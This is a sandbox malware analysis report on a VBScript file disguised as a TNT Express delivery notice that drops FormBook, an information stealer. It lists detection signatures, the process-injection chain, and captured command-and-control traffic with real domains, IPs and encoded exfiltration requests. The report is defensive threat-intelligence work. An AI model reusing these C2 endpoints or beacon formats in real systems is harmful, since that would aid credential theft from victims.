Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
TNT Express Delivery Consignment AWD 87993766479.vbs

Overview

General Information

Sample name:TNT Express Delivery Consignment AWD 87993766479.vbs
Analysis ID:1564051
MD5:4393c3d8a01e1eedfb39fb3912024d9a
SHA1:6d110b27611c226866c9ba5e39840f596545e1be
SHA256:2f78299e8c557e4650b5067c08ca343db5cee17aa2db010c9fec0e20526e3a72
Tags:FormbookTNTvbsuser-abuse_ch
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Benign windows process drops PE files
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
.NET source code contains potential unpacker
AI detected suspicious sample
Allocates memory in foreign processes
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Potential malicious VBS script found (has network functionality)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 5940 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • payload_Kf7Fb.exe (PID: 3852 cmdline: "C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe" MD5: 0B6A1AA96FABD02D283FF73044BC1B14)
      • RegAsm.exe (PID: 6572 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
      • RegAsm.exe (PID: 2028 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
        • RtAXBNCRrMdm.exe (PID: 2092 cmdline: "C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • prevhost.exe (PID: 1868 cmdline: "C:\Windows\SysWOW64\prevhost.exe" MD5: 79FED29A7F3DF4BA67599EFF3CDB4F1A)
            • RtAXBNCRrMdm.exe (PID: 6992 cmdline: "C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
            • firefox.exe (PID: 6272 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000009.00000002.2770446993.0000000000DB0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000005.00000002.2004081991.0000000001430000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000005.00000002.2005395988.0000000005170000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000008.00000002.2772717715.00000000046B0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 2 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            5.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              5.2.RegAsm.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: WScript or CScript Dropper
                Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs", CommandLine|base64offset|contains: kz, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs", ProcessId: 5940, ProcessName: wscript.exe
                Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs", CommandLine|base64offset|contains: kz, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNT Express Delivery Consignment AWD 87993766479.vbs", ProcessId: 5940, ProcessName: wscript.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-27T19:16:45.160721+010028554641A Network Trojan was detected192.168.2.949727172.67.162.1280TCP
                2024-11-27T19:16:47.757085+010028554641A Network Trojan was detected192.168.2.949732172.67.162.1280TCP
                2024-11-27T19:16:50.471686+010028554641A Network Trojan was detected192.168.2.949738172.67.162.1280TCP
                2024-11-27T19:17:00.374740+010028554641A Network Trojan was detected192.168.2.94976038.54.112.22780TCP
                2024-11-27T19:17:03.030845+010028554641A Network Trojan was detected192.168.2.94976638.54.112.22780TCP
                2024-11-27T19:17:05.749412+010028554641A Network Trojan was detected192.168.2.94977238.54.112.22780TCP
                2024-11-27T19:17:15.593229+010028554641A Network Trojan was detected192.168.2.949795172.67.187.11480TCP
                2024-11-27T19:17:18.249459+010028554641A Network Trojan was detected192.168.2.949801172.67.187.11480TCP
                2024-11-27T19:17:20.922209+010028554641A Network Trojan was detected192.168.2.949808172.67.187.11480TCP
                2024-11-27T19:17:31.827601+010028554641A Network Trojan was detected192.168.2.94983485.159.66.9380TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus detection for dropped file
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeAvira: detection malicious, Label: TR/Dropper.Gen
                Multi AV Scanner detection for dropped file
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeReversingLabs: Detection: 66%
                Multi AV Scanner detection for submitted file
                Source: TNT Express Delivery Consignment AWD 87993766479.vbsReversingLabs: Detection: 36%
                Yara detected FormBook
                Source: Yara matchFile source: 5.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000009.00000002.2770446993.0000000000DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2004081991.0000000001430000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2005395988.0000000005170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2772717715.00000000046B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2772975174.0000000004810000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for dropped file
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeJoe Sandbox ML: detected
                Source: Binary string: wntdll.pdb source: RegAsm.exe, prevhost.exe
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AFCDE0 FindFirstFileW,FindNextFileW,FindClose,9_2_00AFCDE0

                Software Vulnerabilities

                barindex
                Suspicious execution chain found
                Source: C:\Windows\System32\wscript.exeChild: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 4x nop then xor eax, eax9_2_00AE9F90
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 4x nop then mov ebx, 00000004h9_2_049004CE
                Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 4x nop then mov ebx, 00000004h12_2_0000015F59C064CE

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49727 -> 172.67.162.12:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49732 -> 172.67.162.12:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49738 -> 172.67.162.12:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49766 -> 38.54.112.227:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49795 -> 172.67.187.114:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49801 -> 172.67.187.114:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49808 -> 172.67.187.114:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49772 -> 38.54.112.227:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49760 -> 38.54.112.227:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49834 -> 85.159.66.93:80
                Potential malicious VBS script found (has network functionality)
                Source: Initial file: stream.SaveToFile filePath, 2 ' Overwrite
                Source: Joe Sandbox ViewASN Name: COGENT-174US COGENT-174US
                Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/html; charset=UTF-8Date: Wed, 27 Nov 2024 18:17:00 GMTServer: nginxVary: Accept-EncodingContent-Length: 44Connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g
                Source: global trafficHTTP traffic detected: GET /nda7/?9T5=dnDHwbWHB8yXWNo&ZZO=mFtqolmCIxfa59Z73e/70aPjjf2bhJzSlcY3DN4KVGL7tWfIoFA3Wp5UPNCJzjLIZkLuICf5GnVH2/npj4i7TXGhWDeiA6DqdrBfwVOXNb+iLxMxXQ== HTTP/1.1Host: www.dymar.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                Source: global trafficHTTP traffic detected: GET /uvt3/?ZZO=zVlhrraBsL3wRkcwn1FlIGeCz4A2EOdp3MszRyMTAoJUFK60oXlgsdwz3zYDdg3RjvURv75Aerwp0auHBcyI5vE6WDctvW80dOEkFRjN5vR3CkMGYw==&9T5=dnDHwbWHB8yXWNo HTTP/1.1Host: www.conansog.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                Source: global trafficHTTP traffic detected: GET /x5hh/?9T5=dnDHwbWHB8yXWNo&ZZO=Z4nr7Xj7Balg2gthw4Rq9LN5z6WWpBOZCdiQclsotPmYaradfT6lU405eWXmKM8cYVsSDZkVOuw6hnyi+ooRPM4mR1jmP8bcCew2omCTIX9eL4B7+g== HTTP/1.1Host: www.jijievo.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                Source: global trafficHTTP traffic detected: GET /z3j2/?ZZO=/FlAKobS9DDcFpSUrLxYrzeiuBgBETFKgA3F4sI0Na2FuCPtUyuRRVHVRN07Xm5p7OULId6H3IKQXBfxJLlS6ZiI3s/2NFQPzOFsp12a11Bh9wLshA==&9T5=dnDHwbWHB8yXWNo HTTP/1.1Host: www.zkdamdjj.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4
                Source: global trafficDNS traffic detected: DNS query: www.dymar.shop
                Source: global trafficDNS traffic detected: DNS query: www.conansog.shop
                Source: global trafficDNS traffic detected: DNS query: www.jijievo.site
                Source: global trafficDNS traffic detected: DNS query: www.zkdamdjj.shop
                Source: global trafficDNS traffic detected: DNS query: www.ordubalbirlik.online
                Source: unknownHTTP traffic detected: POST /uvt3/ HTTP/1.1Host: www.conansog.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-usCache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 192Origin: http://www.conansog.shopReferer: http://www.conansog.shop/uvt3/User-Agent: Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12B410 Safari/600.1.4Data Raw: 5a 5a 4f 3d 2b 58 4e 42 6f 65 65 6c 6f 64 58 57 62 56 34 4a 6c 53 70 2f 4d 6e 2b 6f 77 71 67 70 45 64 70 62 30 2b 77 6f 43 52 63 50 43 59 31 4a 51 36 53 35 78 67 52 6a 2b 50 41 6c 33 58 34 52 61 77 44 75 68 72 52 32 69 75 78 57 54 37 41 64 39 4a 2b 58 4a 50 2b 31 77 4f 45 54 47 68 6b 4d 79 78 39 75 65 4d 6f 4f 48 79 50 31 33 73 67 74 4c 30 4d 74 46 35 34 6e 68 4b 53 31 6b 6b 61 65 62 50 68 4c 55 6a 4f 72 6f 61 41 4d 35 48 61 76 68 68 32 4e 68 51 43 49 4d 62 34 77 36 68 71 77 45 4d 34 68 77 46 4b 45 4a 62 41 5a 66 6a 59 6c 4d 4f 6f 64 44 62 4a 63 51 59 72 76 74 71 59 44 Data Ascii: ZZO=+XNBoeelodXWbV4JlSp/Mn+owqgpEdpb0+woCRcPCY1JQ6S5xgRj+PAl3X4RawDuhrR2iuxWT7Ad9J+XJP+1wOETGhkMyx9ueMoOHyP13sgtL0MtF54nhKS1kkaebPhLUjOroaAM5Havhh2NhQCIMb4w6hqwEM4hwFKEJbAZfjYlMOodDbJcQYrvtqYD
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 27 Nov 2024 18:16:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeSet-Cookie: OCSESSID=ee25add905cc9b2f8f2570c821; path=/Set-Cookie: language=ru-ru; expires=Fri, 27-Dec-2024 18:16:27 GMT; Max-Age=2592000; path=/; domain=www.dymar.shopSet-Cookie: currency=UAH; expires=Fri, 27-Dec-2024 18:16:27 GMT; Max-Age=2592000; path=/; domain=www.dymar.shopx-ray: wnp32698:0.130/wn32698:0.130/wa32698:D=128237Data Raw: 34 33 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 72 75 22 20 63 6c 61 73 73 3d 22 69 65 38 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 72 75 22 20 63 6c 61 73 73 3d 22 69 65 39 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 79 6d 61 72 2e 73 68 6f 70 22 20 2f 3e 20 20 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e d0 97 d0 b0 d0 bf d1 80 d0 b0 d1 88 d0 b8 d0 b2 d0 b0 d0 b5 d0 bc d0 b0 d1 8f 20 d1 81 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 21 3c 2f 74 69 74 6c 65 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 79 6d 61 72 2e 73 68 6f 70 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 61 74 61 6c 6f 67 2f 76 69 65 77 2f 6a 61 76 61 73 63 72 69 70 74 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 61 74 61 6c 6f 67 2f 76 69 65 77 2f 6a 61 76 61 73 63 72 69 70 74 2f 66 6f 6e 74 Data Ascii: 4351<!DOCTYPE html><!--[if IE]><![endif]--><!--[if IE 8 ]><html dir="ltr" lang="ru" class="ie8"><![endif]--><!--[if IE 9 ]><html dir="ltr" lang="ru" class="ie9"><![endif]--><!--[if (gt IE 9)|!(IE)]><!--><html dir="ltr" lang="ru"><!--<![endif]--><head> <link rel="cano
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 27 Nov 2024 18:16:44 GMTContent-Length: 0Connection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kJ2UXms30cUE9UPVRtL9b7leSYnQMyBoMPRDloln6HOBKygHQDUeH5xYVcZ47T8MEJYCqxSpR5buwj4KCeYpQIqs8%2FiC%2Fj1PtllzlM4zF6FWnQ0obxUajHHCT9z7C1oSqNetBg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e941c703a738c35-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1887&min_rtt=1887&rtt_var=943&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=770&delivery_rate=0&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 27 Nov 2024 18:16:47 GMTContent-Length: 0Connection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dmMQt2uuWF44WXAZboCIWxQJNalAm3S7D60vcqrHewGXE6qYhBi6AL5JQTVOqEtowB5cs%2B6x7V52oM3JemDFsNkORooorsadUKZ5SxwBw7vtBjmJJQxA6%2FD25JmKPqnJadoXXQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e941c80bc67434f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1718&min_rtt=1718&rtt_var=859&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=794&delivery_rate=0&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 27 Nov 2024 18:16:50 GMTContent-Length: 0Connection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V46KHaTlmJF7KS8ieEZ5pGgM0ndTPLfOLepgqiTNluQ6JBnMU8rpycBdyzI%2FyWpVIiofd3GTgzEgdg72TX7dh%2FDjgm9N%2FqNmLYn1ArJIzCaJl6Xn%2BrlyCAcvhIXEvUyxzolUtA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e941c91cbc30f4b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1716&rtt_var=858&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1807&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 27 Nov 2024 18:16:52 GMTContent-Length: 0Connection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IkLP%2FVNEd%2FswNijuELbcHjIfzY64lQZ6BOHsL82ILs3P1K1JIKDP6rUGL5wNds1uJhwACGUNMy4PDkx9G82UEPLr3yX3BkPTUUP5l%2BJEV%2BxFR9IprhtxBJqxWuMGQVE%2FMP2heQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e941ca268a38c4d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2028&min_rtt=2028&rtt_var=1014&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=512&delivery_rate=0&cwnd=156&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 5.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000009.00000002.2770446993.0000000000DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2004081991.0000000001430000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2005395988.0000000005170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2772717715.00000000046B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2772975174.0000000004810000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Windows Scripting host queries suspicious COM object (likely to drop second stage)
                Source: C:\Windows\System32\wscript.exeCOM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}Jump to behavior
                Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0042D013 NtClose,5_2_0042D013
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030935C0 NtCreateMutant,LdrInitializeThunk,5_2_030935C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092B60 NtClose,LdrInitializeThunk,5_2_03092B60
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092DF0 NtQuerySystemInformation,LdrInitializeThunk,5_2_03092DF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092C70 NtFreeVirtualMemory,LdrInitializeThunk,5_2_03092C70
